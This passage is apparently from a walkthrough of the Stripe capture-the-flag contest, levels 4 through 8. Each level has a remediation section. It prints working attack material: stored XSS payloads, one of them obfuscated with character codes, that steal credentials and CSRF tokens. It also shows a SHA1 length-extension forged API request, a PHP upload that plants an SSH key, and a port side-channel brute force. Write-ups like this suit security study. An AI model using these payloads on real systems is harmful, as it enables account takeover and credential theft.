The concept of Karma Fountain is that users send other users "karma." However, to prevent abuse, the application also sends the password of the sending user to the recipient. A "super user" known as Karma Fountain has unlimited Karma to share. If Karma Fountain were to send Karma to someone, its password would also be exposed. The application prevents users from logging in as Karma Fountain. Finally, we are told that Karma Fountain logs into its account every few minutes.

Vulnerability
To find the vulnerability, we first need to determine what we can attack. By looking at the code, it is evident that one user-input field is not being escaped that is also displayed back to users of the application: the password field. The following code shows that the username is checked to ensure it contains only word characters, but no such protection is in place for the password field:

unless
     username =~ /^\w+$/die("Invalid username. Usernames must match /^\w+$/", :register)
end

Now that we have determined that the password field is not escaped, we need to determine an attack type. Since the password field is shown to all users who have received Karma from us, we can launch a cross-site scripting attack against Karma Fountain by sending it karma from an account with a password containing XSS.

To execute an XSS, we need to determine what is happening when we send karma. By using any intercepting proxy (such as BurpSuite or Zed Attack Proxy) or even using the web developer tools in the Firefox or Chrome browsers, we can see the exact request made to send karma.



As this shows, a POST is made to transfer/ with the parameters "amount" and "to." We now know that we need to craft an XSS that will make a POST request to with "transfer" set to any amount and the "to" field set to our username. Below is the XSS I used to do just that:

<script>var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST","transfer",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("to=one&amount=25");</script>

By setting this string as the password of my account, I could then login, send Karma Fountain some karma, and wait until it logged in, executed my script, and posted karma to my account, exposing its password. The above XSS payload could also be written in JQuery using $.post if the site is using JQuery.

Remediation
As with SQL injection, XSS is made possible by the direct use of user input as part of a page. In this case, the password field is the only input that is not checked. XSS is prevented by properly encoding the output from stored user input before it is executed as part of the page itself. Every language and framework has varying methods for preventing XSS (such as htmlentities and htmlspecialchars in PHP). You can read more about preventing XSS at this OWASP page.

Level 5 - Domain Authenticator

Background
The Domain Authenticator is an application that allows users to provide a "pingback URL," a username, and a password to login. The pingback is essentially a website that validates the credentials and responds with AUTHENTICATED or DENIED. The response also includes the host, so for example, if "mysite.com/pingback.php" is provided, you will be authenticated as user@mysite.com. The goal is to authenticate as a level five user. However, the level five machines only have limited network connectivity to other stripe-ctf servers.

Vulnerability
The vulnerability in this level lies in a programming error that allows us to recursively chain pingbacks as well as how the host is checked. The level 5 server URL allows a /?pingback parameter to be used. So visiting the following URL would set the pingback as "mysite.com":

https://level05-1.stripe-ctf.com/user-xxx/?pingback=mysite.com

Knowing this, we can exploit the remote file vulnerability that exists in level two to upload a file that will always return AUTHENTICATED. I uploaded the following file, named pingback.php, to level two:

<?php
echo "AUTHENTICATED";
?>

However, trying to add just that URL as the pingback will only allow us to authenticate as a member of a level two machine since the host is a level two server. We want the response to come from a level five server. To do this, we can recursively string our URL such as:

https://level05-1.stripe-ctf.com/user-xx5/?pingback=https://level02-2.stripe-ctf.com/user-xx2/uploads/pingback.php

Entering this URL in the URL field causes the response to recursively appear to come from a level five machine, allowing us to gain access.

Remediation
This vulnerability is introduced because of programming logic error. The developers did not consider that a user would recursively chain pingback URLs. It just goes to show that user input should always be treated as untrusted and to expect the unexpected. The security of this application can be enhanced by carefully deciding what input should be accepted.

Level 6 - Streamer

Background
Streamer is a miniature Twitter-style application. Users post an update and all other users see it. There is one user, level07-password-holder, who checks in periodically (every three to four minutes) to see the latest updates. After creating an account, anyone can post updates which are seen by all other users. By visiting the url ajax/posts, a JSON string of all the previous posts can be viewed. When posting an update, a POST is made to that same URL with a post title, body, and CSRF token. The post body cannot contain quotes, or it is rejected. Finally, in order to remind users of their passwords, the application stores user credentials on a page called "user_info" which is available upon logging in. We are told that the level07-password-holder's password is complex and contains both single and double quotes, which is important.

Vulnerability
The vulnerability in Streamer is similar to the one in Karma Fountain (cross-site scripting). However, this level challenges the user to carefully craft an XSS attack that will obtain the required pieces of information and make the correct POST. Knowing that the level07-password-holder logs in every few minutes gives us an opportunity to create a payload. First, we have to find how the data is being retrieved and presented.

Streamer uses a JSON string of posts which is uses to update the posts/ page as well as save new POSTs of posts. To exploit the XSS, we need to break out of the returned JSON string and execute arbitrary code on the page without using quotes. A simple script allows us to do that:

}];</script><script>alert(1);</script>//

Entering this code as the body of a post and then refreshing the page causes the alert to appear. We now have the format for our XSS.

By looking at the source of the page, we can tell that JQuery is being used. This will make our attack much easier by giving us functions to work with and reducing the amount of code needed. It is also evident that a CSRF token is being used. Cross-Site Request Forgery is an attack that allows remote users to POST to a page from any other webpage, not just the page with the form. You can read more about CSRF here because our application is not vulnerable to CSRF thanks to the token. The token, however, is a necessary part of the POST request, so our XSS must obtain it before doing a POST.

Note: there are a number of ways this level can be solved using XSS. For example, I used JavaScript to find the CSRF token, then used GET to get the page with the user's credentials, obtained from the user_info page and POSTed all the results to the ajax/posts page. However, it is also possible to obtain the credentials, change the value of the textbox to match them, then submit the form, all using JQuery. In some cases, it is also possible to simply steal the user's session cookies, but this application used httponly cookies which prevent scripts from accessing them.

The methodology for this attack is to make a GET request to the user's user_info page (which contains his credentials), save the response, then POST the response to the ajax/posts page. Below is an XSS payload I used to do just that. Note that I used a replace function to remove the quotes before POSTing to prevent the password from escaping out of the JSON.

$.get("user_info", function(result){
        var data = $(result).find('td').text();
        var csrf_token = document.forms[0].elements["_csrf"].value;
        var replaced = data.replace(/"/g, "YY");
        replaced = data.replace(/'/g, "XX");
        $.post("ajax/posts", { title: "THIS", body: replaced, _csrf: csrf_token } );
    });

This payload now needs to be converted to character codes to avoid the use of quotes. Using an online converter such as this one, our attack now looks like:

}];</script><script>eval(String.fromCharCode(36, 46, 103, 101, 116, 40, 34, 117, 115, 101, 114, 95, 105, 110, 102, 111, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 117, 108, 116, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 100, 97, 116, 97, 32, 61, 32, 36, 40, 114, 101, 115, 117, 108, 116, 41, 46, 102, 105, 110, 100, 40, 39, 116, 100, 39, 41, 46, 116, 101, 120, 116, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 102, 111, 114, 109, 115, 91, 48, 93, 46, 101, 108, 101, 109, 101, 110, 116, 115, 91, 34, 95, 99, 115, 114, 102, 34, 93, 46, 118, 97, 108, 117, 101, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 34, 89, 89, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 92, 34, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 112, 111, 115, 116, 40, 34, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 34, 44, 32, 123, 32, 116, 105, 116, 108, 101, 58, 32, 34, 84, 72, 73, 83, 34, 44, 32, 98, 111, 100, 121, 58, 32, 114, 101, 112, 108, 97, 99, 101, 100, 44, 32, 95, 99, 115, 114, 102, 58, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 125, 32, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59))</script>//

Once the attack is crafted, we can post it as an update, wait for the level07-password-holder to log in, then visit ajax/posts where we should see the password.

Remediation
Again, this attack relies on the application to treat user data as untrusted. By properly escaping all data that users input, this attack can be avoided.

Level 7 - WaffleCopter

Background
WaffleCopter is a food delivery service that has a set of user "levels." The earlier users (determined by user_id) are "premium" users and can order premium waffles. You, however, are not, and can therefore not order premium waffles. The goal of the challenge is the order a premium waffle without being a premium user.

Upon logging in, you are given an API endpoint, a user_id, and a secret. Using this information, you can POST to the endpoint using your secret and user_id to order a waffle. The application checks that you are a premium user before allowing a premium order.

The application also allows you to view logs of previous API requests. By viewing the following URL, you can see all of your requests: https://<level7_server>.stripe-ctf.com/user-xxx/logs/<your_user_id>. Replacing your user_id with "1" (a premium user) gives the following results:

2012-08-23 08:04:55 /orders count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:75c0741cc140d77f70bca0cb473788249f1fd0fe

2012-08-23 08:04:55 /orders count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken|sig:bbab520cfdd9b8b91df1e613b0525d252b7c777b

This page shows that a signature is appended to the request. To calculate the signature, an algorithm called SHA1 is used, as in the following code:

def _signature(self, message):
     h = hashlib.sha1()h.update(self.api_secret + message)
     return h.hexdigest()

Vulnerability
The vulnerability in this application comes from the fact that it is using SHA1 to calculate the signature. A well-known weakness of SHA1 is that it is vulnerable to an attack known as hash length extension. I am not going to delve into the cryptography involved, but here is a simple explanation from WhiteHat Security:

If you have a message that is concatenated with a secret and the resulting hash of the concatenated value (the MAC) – and you know only the length of that secret – you can add your own data to the message and calculate a value that will pass the MAC check without knowing the secret itself.
Source: https://blog.whitehatsec.com/hash-length-extension-attacks/

Ultimately, because of the way SHA1 is designed, we can inject arbitrary data onto the end of a request following a padding, calculate a valid signature, and send this as the new request. Since we know the signature of user_id 1 from the API logs, as well as the length of the key, we can now calculate a new extended and padding message and a new signature that will pass the check.

To do this, a tool called "sha-padding.py" was developed. It can be downloaded here: http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/. This tool takes the following parameters: <keylen> <original_message> <original_signature> <text_to_append>

We have the key length (14). The original message is a request from the API such as: "count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken". We also have the original signature (in my case: bbab520cfdd9b8b91df1e613b0525d252b7c777b). The text we want to append is this: "&waffle=liege". This will override the first variable "waffle" and replace "chicken" with "liege," the name of a premium waffle.

Running our tool gives us the following output:

new msg: 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege'
base64: Y291bnQ9MiZsYXQ9MzcuMzUxJnVzZXJfaWQ9MSZsb25nPS0xMTkuODI3JndhZmZsZT1jaGlja2VugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI4JndhZmZsZT1saWVnZQ==
new sig: 15fa901713b0252d03b30f206ad58aee06e6d846

We can now make a POST request to our end point using our new message and the new signature.

Remediation
This vulnerability is introduced because of the use of an insecure cryptographic function, SHA1. Many better alternatives to SHA1 have been developed, including HMAC. It would also help if the API logs of users were only available to those users (this would prevent us from getting the needed signature).

Level 8 - Chunk Servers

Background
The last level of the CTF is rightfully the most challenging. It really requires thinking outside the box and it is quite difficult to spot the possible vulnerability at first. This level involves a password storing mechanism that saves passwords in chunks. For example, a 12 digit password will be stored in 4 chunks of three digits each. These chunks are then distributed throughout "chunk servers" which can be on different ports of the same physical server or distributed among remote servers. The main server receives a request for a password check, splits the password into chunks, then polls each chunk server for its piece. If the chunk is correct it returns true. This continues until either a chunk server returns false, in which case the password is returned as incorrect, or all chunk servers return true, in which case the main server returns true.

When a POST is made, there is an option for "webhooks." A webhook will be sent a copy of the response, such as "success:true" or "success:false". One additional fact makes this level a bit more difficult: the level eight servers only have network access to other stripe-ctf servers.

As with each of the levels, Stripe provided the source code for download. In the case of level eight, downloading and running the source code locally is extremely beneficial to understanding where the vulnerability may exist.

Vulnerability
Finding the vulnerability really requires thinking about all of the information that a server returns with its response, down to the socket level. Using the following code snippet, we can make a sample request to the server and print out the information associated with the response.

data = json.dumps({"password": key, "webhooks": ["127.0.0.1:50010"]})
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
response.close()

client, address = s.accept()
data_recv = client.recv(size)
if data_recv: 
     print(data + address)

Note that I have left out some import statements and other code for the sake of brevity.

When this code is executed, a response is printed, including the data response, as well as the address of the server and the port number. This information is crucial to discovering the vulnerability.

To find what is happening, we can make requests on our local server using a known correct and a known incorrect password. For example, if we start the server using password "123456789012", we can try requests with passwords "123456789012" (a correct one), "023456789012" (first chunk incorrect), "123056789012" (second chunk incorrect), etc.

By analyzing the responses, hopefully a pattern will emerge. When the error is in the first chunk, the port numbers of two successive requests increments by two (the exact change number may be different for each application instance). When it is in the third chunk, the increment is by three, and so on. This pattern allows us to develop a script that can brute force the chunks individually rather than the entire password at once (the difference between a few thousand requests and 999 billion).

Now, we need to run our script on a level two machine so that the webhook can be contacted (remember: level eight servers only have access to other stripe-ctf servers). Luckily, the level two server is running an SSH server as well, allowing us to connect. We just need to upload our public key to the ~/.ssh/authorized_keys file.

To do this, I created a simple PHP page, uploaded it to level two, and ran it. The same result could be accomplished with a PHP shell, allowing us to enter commands directly.

<?php
  chdir('/mount/home/user-xxx');
  mkdir('.ssh');
  file_put_contents('.ssh/authorized_keys', 'my_public_key_here') . "\n";
?>

Now, we can SSH into the level two server.

We can then cd to the uploads folder where we can run any scripts that are uploaded via the web interface (I never did get scp working).

Back to the script, there are a number of ways it could be done. Personally, I wrote a script that checked each chunk individually, starting with the first. It would try "000", "001," "002," etc. On each request, it would analyze the port in the response. If it changed by the port increment (2 for the first chunk, 3 for the second, 4 for the third, and 5 for the fourth), it continued to the next request. However, if the change was more than the expected increment, it would pause and send two new requests with the same chunk (for example, "001" "001"). It would analyze the ports again. If the increment was not the expected increment, it would repeat the process two more times. If the ports incremented more than the expected increment more than three times in a row, the script stopped and marked the chunk as the correct one.

The rechecks are done for error correction. Because many other users were testing on the same level eight server, two ports in the right increment did not always exist. However, it was rare that that would happen three or more times in a row.

Once the chunk was found, I edited the script to test the next chunk. The overall process took about one hour. The script could be much improved by using multiple threads. I am uploading my scripts to GitHub, but they require edits before being usable on systems and user accounts different than mine.

Eventually, after the third chunk was found, I switched to polling the main server for the full chunk: xxxxxxxxx000, xxxxxxxxx001, etc. When it returned true, I had found the flag!

Remediation
The vulnerability in this application is another programming logic error. The port that is returned in the request when a chunk is invalid should not be different from that of the main server. This again shows that attackers will use any information they can to exploit an application.

Conclusion

The Stripe CTF was a truly awesome experience. The challenges were crafted uniquely and with great precision. I admit that a number of these levels truly stumped me at first. But in a larger sense, they forced me to think in ways I hadn't previously thought. I hope this walkthrough has been beneficial and that this entire contest raises more awareness about web security as a whole.

Resources

During the CTF I was Googling like crazy. Here are just a few of the resources I used while working on the CTF and in writing this post.